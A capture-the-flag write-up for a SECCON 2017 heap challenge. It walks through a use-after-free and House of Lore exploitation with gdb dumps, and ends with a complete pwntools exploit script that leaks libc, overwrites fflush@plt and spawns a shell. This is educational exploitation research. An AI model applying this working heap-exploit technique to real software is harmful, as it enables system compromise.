Introduction
Since I was trying to make an extra tutorial on House of Lore exploitation technique recently and found this challenge in SECCON last year, I decided to use this challenge to demonstrate the usage of House of Lore.
The binary of this challenge is a bit complicated, I will first introduce the work flow of this challenge and then explain how to develop the exploit.
Target Analysis
There are five important data structures involved in this challenge.
struct User { unsigned long priv; unsigned long num; struct userinfo *info; unsigned long deposit; } struct userinfo { char padding[16]; char username[8]; char passwd[8]; unsigned long can_delete; char desc[0x58]; } struct candy { char taste[8]; int orderNumber; int candyCode; } struct order { char orderCode[8]; int orderCount; char orderCandyTaste[8]; int candyCode; } struct stockCandy { char name[8]; int number; int price; char *desc; }
Besides the five data structures mentioned above, there are also four important lists to store the data structures mentioned above.
userList: at 0x604220
candyList: at 0x6041c0
orderList: at 0x604100
stockCandyList: at 0x604180.
After introducing the basic information in this challenge, I will give the basic work flow of this challenge. For details in the workflow, please refer to the binary of this challenge.
There are two types of user in this challenge: admin whose priv is 1 and normal user whose priv is 3. For different types of user, available options in this challenge is different.
1 Stock. View all elements in stockCandyList.
2 Purchase. Purchase on type of candy in stockCandyList. If the number of the candy reaches 0, remove the stockCandy from the stockCandyList and leave a comment message (maximum size 0x4c0).
3 Charge. Add money to the current user’s deposit.
4 Order (only for admin). Provide options for admin to operate on orderList and stockCandyList
4.1 viewOrderList. View all elements in orderList.
4.2 addOrder. Allocate a new order and insert it into orderList.
4.3 cancelOrder. List the cancellable candy in orderList first. Then choose one and remove the chosen candy from orderList.
4.4 makeOrder. Put order in orderList into stockCandyList and clear the stockCandyList.
5.Account (only for admin). Provide options for admin to operate on existing account.
5.1 deleteAccount Delete an account with the picked index.
5.2 changePW Change the password of an account with the picked index.
9.Logout. Logout to the login interface.
Vulnerability Analysis
There is one use-after-free (UAF) vulnerability in Account operation. When trying to delete an account, the binary uses the priv of checking user to judge if it is a valid user. If the account to delete is valid, it will zero out its priv. However, when trying to change the password of an account, the binary checks whether info of checking account is NULL and whether info->can_delete is 0. If both are not 0, it will change the passwd of the account.
That leaves a UAF window for us to exploit. We can delete one account first, use other allocation in binary to reallocate the deleted chunk and fill in legal data and try to user changePW to corrupt data in memory.
Exploitation plan
As normal exploitation, there are two basic steps to launch attack: (1) Leak libc base address, (2) Hijack control flow to magic gadget.
Step (1) is easy to achieve in this challenge, we can free a stockCandy first and insert its desc into unsorted bin. Then allocate multiple Order to leak the address of unsorted bin, leaking libc base address in the end.
Step (2) is the difficult part in this challenge.
After deleting a normal user account, we can find that the value of userInfo of deleted user as following:
//before deletion 0x604240: 0x0000000000000003 0x0000000000000002 0x604250: 0x0000000001bdc5f0 0x0000000000002710 0x604260: 0x0000000000000003 0x0000000000000003 0x604270: 0x0000000001bdc680 0x0000000000002710 0x1bdc5f0: 0x0000000000000000 0x0000000000000000 0x1bdc600: 0x0000003152455355 0x0000000031313131 0x1bdc610: 0x0000000000000001 0x31746e6564757473 0x1bdc620: 0x0000000000000000 0x0000000000000000 //after deletion 0x604240: 0x0000000000000000 0x0000000000000002 0x604250: 0x0000000001bdc5e0 0x0000000000002710 0x604260: 0x0000000000000003 0x0000000000000003 0x604270: 0x0000000001bdc680 0x0000000000002710 0x1bdc5e0: 0x0000000000000000 0x0000000000000091 0x1bdc5f0: 0x00007f657567bb78 0x00007f657567bb78 0x1bdc600: 0x0000000000000000 0x0000000000000000 0x1bdc610: 0x0000000000000000 0x0000000000000000
Therefore, for changePW option, we gain the ability to overwrite the bk of one freed chunk. Instead of unsorted bin attack, we use House of Lore to overwrite the bk pointer of one freed chunk in smallbin.
Due to the security check in _int_malloc below, we cannot overwrite arbitrary value to the victim chunk.
victim = last(bin); bck = victim->bk; glibc_unlikely(bck->fd != victim);
Luckily, this challenge provides us a chance to overwrite the bk
of victim chunk to 0x602440 as shown below.
//userList 0x604220: 0x0000000000000001 0x0000000000000001 0x604230: 0x0000000001bdc010 0x0000000000000370 0x604240: 0x0000000000000000 0x0000000000000002 0x604250: 0x0000000001bdc5e0 0x0000000000002710 0x604260: 0x0000000000000003 0x0000000000000003 0x604270: 0x0000000001bdc680 0x0000000000002710 //vulnerable chunk 0x1bdc5e0: 0x0000000000000000 0x0000000000000091 0x1bdc5f0: 0x00007f657567bbf8 0x0000000000604240 0x1bdc600: 0x0000000001bdccc0 0x0000000000000071 0x1bdc610: 0x00007f657567bbd8 0x00007f657567bbd8 //heap status 0x7f657567bb20: 0x0000000000000000 0x0000000001bdccb0 0x7f657567bb30: 0x0000000000000000 0x0000000000000000 0x7f657567bb40: 0x0000000000000000 0x0000000000000000 0x7f657567bb50: 0x0000000000000000 0x0000000000000000 0x7f657567bb60: 0x0000000000000000 0x0000000000000000 0x7f657567bb70: 0x0000000000000000 0x0000000001bdd6c0 0x7f657567bb80: 0x0000000001bdccd0 0x0000000001bdccd0 0x7f657567bb90: 0x0000000001bdccd0 0x00007f657567bb88 0x7f657567bba0: 0x00007f657567bb88 0x00007f657567bb98 0x7f657567bbb0: 0x00007f657567bb98 0x00007f657567bba8 0x7f657567bbc0: 0x00007f657567bba8 0x00007f657567bbb8 0x7f657567bbd0: 0x00007f657567bbb8 0x00007f657567bbc8 0x7f657567bbe0: 0x00007f657567bbc8 0x00007f657567bbd8 0x7f657567bbf0: 0x00007f657567bbd8 0x00007f657567bbe8 0x7f657567bc00: 0x00007f657567bbe8 0x0000000001bdc5e0 0x7f657567bc10: 0x0000000001bdc5e0 0x00007f657567bc08
After triggering House of Lore, now the heap status is given below
0x7f657567bb20: 0x0000000000000000 0x0000000001bdccb0 0x7f657567bb30: 0x0000000000000000 0x0000000000000000 0x7f657567bb40: 0x0000000000000000 0x0000000000000000 0x7f657567bb50: 0x0000000000000000 0x0000000000000000 0x7f657567bb60: 0x0000000000000000 0x0000000000000000 0x7f657567bb70: 0x0000000000000000 0x0000000001bdd6c0 0x7f657567bb80: 0x0000000001bdccd0 0x0000000001bdccd0 0x7f657567bb90: 0x0000000001bdccd0 0x00007f657567bb88 0x7f657567bba0: 0x00007f657567bb88 0x00007f657567bb98 0x7f657567bbb0: 0x00007f657567bb98 0x00007f657567bba8 0x7f657567bbc0: 0x00007f657567bba8 0x00007f657567bbb8 0x7f657567bbd0: 0x00007f657567bbb8 0x00007f657567bbc8 0x7f657567bbe0: 0x00007f657567bbc8 0x00007f657567bbd8 0x7f657567bbf0: 0x00007f657567bbd8 0x00007f657567bbe8 0x7f657567bc00: 0x00007f657567bbe8 0x0000000001bdc5e0 0x7f657567bc10: 0x0000000000604240 0x00007f657567bc08
Next, we want to allocate a chunk at 0x604240 for allocating stockCandy. Then we can overwrite the userInfo of the second normal user, apply changePW to second normal user to overwrite value at fflush@plt and use magic gadget to get shell in the end.
To allocate a chunk at 0x604240, we still need to pass the security check mentioned above. This time we take advantage of the charge function to manipulate the memory given below.
//userList 0x604220: 0x0000000000000001 0x0000000000000001 0x604230: 0x0000000001bdc010 0x0000000000000370 0x604240: 0x0000000000000003 0x0000000000000002 0x604250: 0x0000000001bdc5f0 0x0000000000604268 0x604260: 0x0000000000000003 0x0000000000000003 0x604270: 0x0000000001bdc680 0x0000000000604240 //heap status0x7f657567bb20: 0x0000000000000000 0x0000000001bdccb0 0x7f657567bb30: 0x0000000000000000 0x0000000000000000 0x7f657567bb40: 0x0000000000000000 0x0000000000000000 0x7f657567bb50: 0x0000000000000000 0x0000000000000000 0x7f657567bb60: 0x0000000000000000 0x0000000000000000 0x7f657567bb70: 0x0000000000000000 0x0000000001bdd6c0 0x7f657567bb80: 0x0000000001bdccd0 0x0000000001bdccd0 0x7f657567bb90: 0x0000000001bdccd0 0x00007f657567bb88 0x7f657567bba0: 0x00007f657567bb88 0x00007f657567bb98 0x7f657567bbb0: 0x00007f657567bb98 0x00007f657567bba8 0x7f657567bbc0: 0x00007f657567bba8 0x00007f657567bbb8 0x7f657567bbd0: 0x00007f657567bbb8 0x00007f657567bbc8 0x7f657567bbe0: 0x00007f657567bbc8 0x00007f657567bbd8 0x7f657567bbf0: 0x00007f657567bbd8 0x00007f657567bbe8 0x7f657567bc00: 0x00007f657567bbe8 0x0000000001bdc5e0 0x7f657567bc10: 0x0000000000604240 0x00007f657567bc08
After triggering the House of Lore this time, we now can overwrite fflush@plt.
(gdb) x/20gx 0x604220 0x604220: 0x0000000000000001 0x0000000000000001 0x604230: 0x0000000001bdc010 0x0000000000000370 0x604240: 0x0000000000000003 0x0000000000000002 0x604250: 0x0000000000604078 0x0000000000000000 0x604260: 0x0000000000000000 0x0000000000000000 0x604270: 0x0000000000000000 0x0000000000000000 0x604280: 0x0000000000000000 0x0000000000000000 0x604290: 0x0000000000000000 0x0000000000000000 0x6042a0: 0x0000000000000000 0x0000000000000000 0x6042b0: 0x0000000000000000 0x0000000000000000 (gdb) x/8gx 0x604078 0x604078: 0x00007f65752ec3c0 0x00007f6575373370 0x604088: 0x00007f657533b130 0x00007f65753247a0 0x604098: 0x00007f65752ede80 0x00007f657530c940 0x6040a8: 0x0000000000400936 0x00007f65752f1f60
Exploit
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("1.2.3.4", 233333); elif(DEBUG == 1): r = process("./lazenca"); elif(DEBUG == 2): r = process("./lazenca"); gdb.attach(r, '''source ./script'''); def login(userid, userpwd): s_userid = userid.ljust(8, '\x00'); s_userpwd = userpwd.ljust(8, '\x00'); r.recvuntil(">"); r.send(s_userid); r.recvuntil(">"); r.send(s_userpwd); def createAccount(userid, userpwd, profile): s_userid = userid.ljust(8, '\x00'); s_userpwd = userpwd.ljust(8, '\x00'); s_profile = profile.ljust(0x58, '\x00'); r.recvuntil("1) No"); r.send("0"); r.recvuntil("New ID."); r.send(s_userid); r.recvuntil("New Password."); r.send(s_userpwd); r.recvuntil("profile"); r.send(s_profile); def stock(): r.clean(); r.sendline("1"); def purchase(code, number): r.clean(); r.sendline("2"); r.recvuntil("purchased."); r.send(str(code).ljust(3, '\x00')); r.recvuntil("purchase."); r.send(str(number).ljust(3, '\x00')); def leaveComment(msg): r.recvuntil("a comment for candy."); r.send(msg.ljust(0x4b0, '\x00')); def charge(option): r.clean(); r.sendline("3"); r.recvuntil("5) 100000"); r.sendline(option); def chargeNumber(number): log.info("charging number: %d" % number); count1 = number/100000; log.info("charging 1: %d" % count1); for i in range(0, count1): charge("5"); num = number - count1 * 100000; count2 = num/10000; log.info("charging 2: %d" % count2); for i in range(0, count2): charge("4"); num = num - count2 * 10000; count3 = num/1000; log.info("charging 3: %d" % count3); for i in range(0, count3): charge("3"); num = num - count3 * 1000; count4 = num/100; log.info("charging 4: %d" % count4); for i in range(0, count4): charge("2"); num = num - count4 * 100; count5 = num/10; log.info("charging 5: %d" % count5); for i in range(0, count5): charge("1"); num = num - count5 * 10; count6 = num; log.info("charging 6: %d" % count6); for i in range(0, count6): charge("0"); def listOrder(): r.clean(); r.sendline("4"); r.recvuntil("Command :"); r.sendline("1"); def exitOrder(): r.recvuntil("Command :"); r.sendline("5"); def addOrder(candyCode): r.clean(); r.sendline("4"); r.recvuntil("Command :"); r.sendline("2"); r.recvuntil("order."); r.sendline(candyCode); exitOrder(); def cancelOrder(orderNum): r.clean(); r.sendline("4"); r.recvuntil("Command :"); r.sendline("3"); #halt(); r.clean(); r.sendline(orderNum); exitOrder(); #r.recvuntil("Command :"); #r.sendline("5"); # confirm "0" for "Yes"; "1" for "No" def makeOrder(confirm): r.clean(); r.sendline("4"); r.recvuntil("Command :"); r.sendline("4"); r.recvuntil("1) No"); r.sendline(confirm); def setStockCandy(price, desc): r.recvuntil("candy."); r.send(price.ljust(5, '\x00')); r.recvuntil("candy."); r.send(desc.ljust(0x7c, '\x00')); def account(): r.clean(); r.sendline("5"); def deleteAccount(index): account(); r.recvuntil("Command :"); r.sendline("1"); r.recvuntil("delete"); r.sendline(index); #halt(); exitAccount(); def changeAccountPW(index, newpw): account(); r.recvuntil("Command :"); r.sendline("2"); r.recvuntil("change PW"); r.sendline(index); r.recvuntil("New Password."); r.send(newpw.ljust(8, '\x00')); exitAccount(); def exitAccount(): r.clean(); r.sendline("3"); def logout(): r.clean(); r.sendline("9"); r.recvuntil("1) No"); r.sendline("0"); def exploit(): libc = ELF("./libc-2.23.so"); login("admin", "admin"); createAccount("USER1", "1111", "student1"); login("admin", "admin"); createAccount("USER2", "2222", "student2"); login("Admin", "admin"); addOrder("2"); addOrder("3"); listOrder(); exitOrder(); makeOrder("0"); setStockCandy("20", "AAAA"); setStockCandy("40", "BBBB"); exitOrder(); deleteAccount("2"); stock(); purchase(1, 10); leaveComment("VeryGood"); addOrder("4"); addOrder("5"); listOrder(); r.recvuntil("Order code : "); leaked = r.recv(6).ljust(8, '\x00'); leakedValue = u64(leaked) & 0xffffffffffff00; log.info("Leaked address: 0x%x" % leakedValue); libcBase = leakedValue - 0x3c4b00; log.info("Libc base: 0x%x" % libcBase); exitOrder(); makeOrder("0"); setStockCandy("30", "CCCC"); setStockCandy("50", "DDDD"); exitOrder(); stock(); purchase(2, 10); leaveComment("OK"); purchase(1, 10); leaveComment("OK"); changeAccountPW("2", p32(0x604240)); stock(); addOrder("7"); addOrder("4"); addOrder("5"); cancelOrder("0"); cancelOrder("1"); login("admin", "admin"); createAccount("USER3", "3333", "student3"); login("USER3", "3333"); chargeNumber(0x604268-10000); logout(); login("USER2", "2222"); chargeNumber(0x604240-10000); logout(); login("Admin", "admin"); makeOrder("0"); setStockCandy("80", p32(0x604078)); exitOrder(); mallocRelAddr = libc.symbols['malloc']; mallocAbsAddr = libcBase + mallocRelAddr; fflushRelAddr = libc.symbols['fflush']; fflushAbsAddr = libcBase + fflushRelAddr; log.info("Malloc abs address: 0x%x" % mallocAbsAddr); log.info("fflush abs address: 0x%x" % fflushAbsAddr); oneGadgetAddr = libcBase + 0xf0274; changeAccountPW("2", p64(oneGadgetAddr)); r.interactive(); exploit();
Conclusion
The challenge provides a complicated processing procedure and takes me a lot of time reversing it. With the hint given in [1], I am able to quickly locate the UAF in this challenge and use House of Lore to solve this challenge. Similar to unsafe unlink, it seems those exploitation techniques are still useful with some sophisticatedly designed data and memory layout.
Reference
[1] https://github.com/SECCON/SECCON2017_online_CTF/tree/master/pwn